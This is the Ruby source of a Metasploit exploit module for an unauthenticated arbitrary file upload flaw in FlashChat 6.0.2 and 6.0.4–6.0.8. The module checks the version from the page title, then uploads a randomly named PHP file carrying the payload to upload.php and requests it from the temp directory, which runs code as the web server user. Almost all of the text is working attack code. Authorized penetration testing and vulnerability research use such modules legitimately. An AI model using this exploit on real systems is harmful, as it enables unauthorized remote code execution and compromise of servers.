1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10
  include Msf::Exploit::EXE
11
  include Msf::Exploit::FileDropper
12

13
  def initialize(info = {})
14
    super(
15
      update_info(
16
        info,
17
        'Name' => "FlashChat Arbitrary File Upload",
18
        'Description' => %q{
19
          This module exploits a file upload vulnerability found in FlashChat
20
          versions 6.0.2 and 6.0.4 to 6.0.8. Attackers can abuse the upload
21
          feature in order to upload malicious PHP files without authentication
22
          which results in arbitrary remote code execution as the web server user.
23
        },
24
        'License' => MSF_LICENSE,
25
        'Author' => [
26
          'x-hayben21', # Discovery and PoC
27
          'bcoles' # Metasploit
28
        ],
29
        'References' => [
30
          ['OSVDB', '98233'],
31
          ['EDB', '28709']
32
        ],
33
        'Payload' => {
34
          'BadChars' => "\x00"
35
        },
36
        'Arch' => ARCH_PHP,
37
        'Platform' => 'php',
38
        'Targets' => [
39
          # Tested on FlashChat version 6.0.8
40
          [ 'Generic (PHP Payload)', {} ]
41
        ],
42
        'Privileged' => false,
43
        'DisclosureDate' => '2013-10-04',
44
        'DefaultTarget' => 0,
45
        'Notes' => {
46
          'Reliability' => UNKNOWN_RELIABILITY,
47
          'Stability' => UNKNOWN_STABILITY,
48
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
        }
50
      )
51
    )
52

53
    register_options(
54
      [
55
        OptString.new('TARGETURI', [true, 'The base path to FlashChat', '/chat/'])
56
      ]
57
    )
58
  end
59

60
  #
61
  # Checks if target is running FlashChat versions 6.0.2, 6.0.4 to 6.0.8
62
  #
63
  def check
64
    uri = normalize_uri(target_uri.path, '')
65
    res = send_request_raw({ 'uri' => uri })
66

67
    if not res
68
      vprint_error("Connection timed out")
69
      return Exploit::CheckCode::Unknown
70
    end
71

72
    version = res.body.scan(/<title>FlashChat v([\d\.]+)/).flatten[0] || ''
73

74
    if version.empty?
75
      return Exploit::CheckCode::Unknown
76
    end
77

78
    vprint_status("Version found: #{version}")
79

80
    if version =~ /6\.0\.(2|4|5|6|7|8)/
81
      return Exploit::CheckCode::Appears
82
    elsif version <= "6.0.8"
83
      return Exploit::CheckCode::Detected
84
    else
85
      return Exploit::CheckCode::Safe
86
    end
87
  end
88

89
  #
90
  # Uploads our malicious file
91
  # Stolen from havalite_upload_exec.rb
92
  #
93
  def upload(base)
94
    fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php"
95
    php = "<?php #{payload.encoded} ?>"
96
    data = Rex::MIME::Message.new
97
    data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"")
98
    post_data = data.to_s
99

100
    res = send_request_cgi({
101
      'method' => 'POST',
102
      'uri' => normalize_uri(base, 'upload.php'),
103
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
104
      'data' => post_data
105
    })
106

107
    if not res
108
      fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
109
    elsif res.code.to_i == 404
110
      fail_with(Failure::NotFound, "#{peer} - No upload.php found")
111
    elsif res.code.to_i == 500
112
      fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
113
    end
114

115
    return fname
116
  end
117

118
  #
119
  # Executes our uploaded malicious file
120
  # Stolen from havalite_upload_exec.rb
121
  #
122
  def exec(base, payload_fname)
123
    res = send_request_raw({
124
      'uri' => normalize_uri(base, 'temp', payload_fname)
125
    })
126

127
    if res and res.code == 404
128
      fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
129
    end
130
  end
131

132
  def exploit
133
    base = target_uri.path
134

135
    # upload
136
    print_status("Uploading malicious file...")
137
    fname = upload(base)
138

139
    # register the file to clean
140
    register_files_for_cleanup(fname)
141

142
    # exec
143
    print_status("Executing #{fname}...")
144
    exec(base, fname)
145
  end
146
end
147

148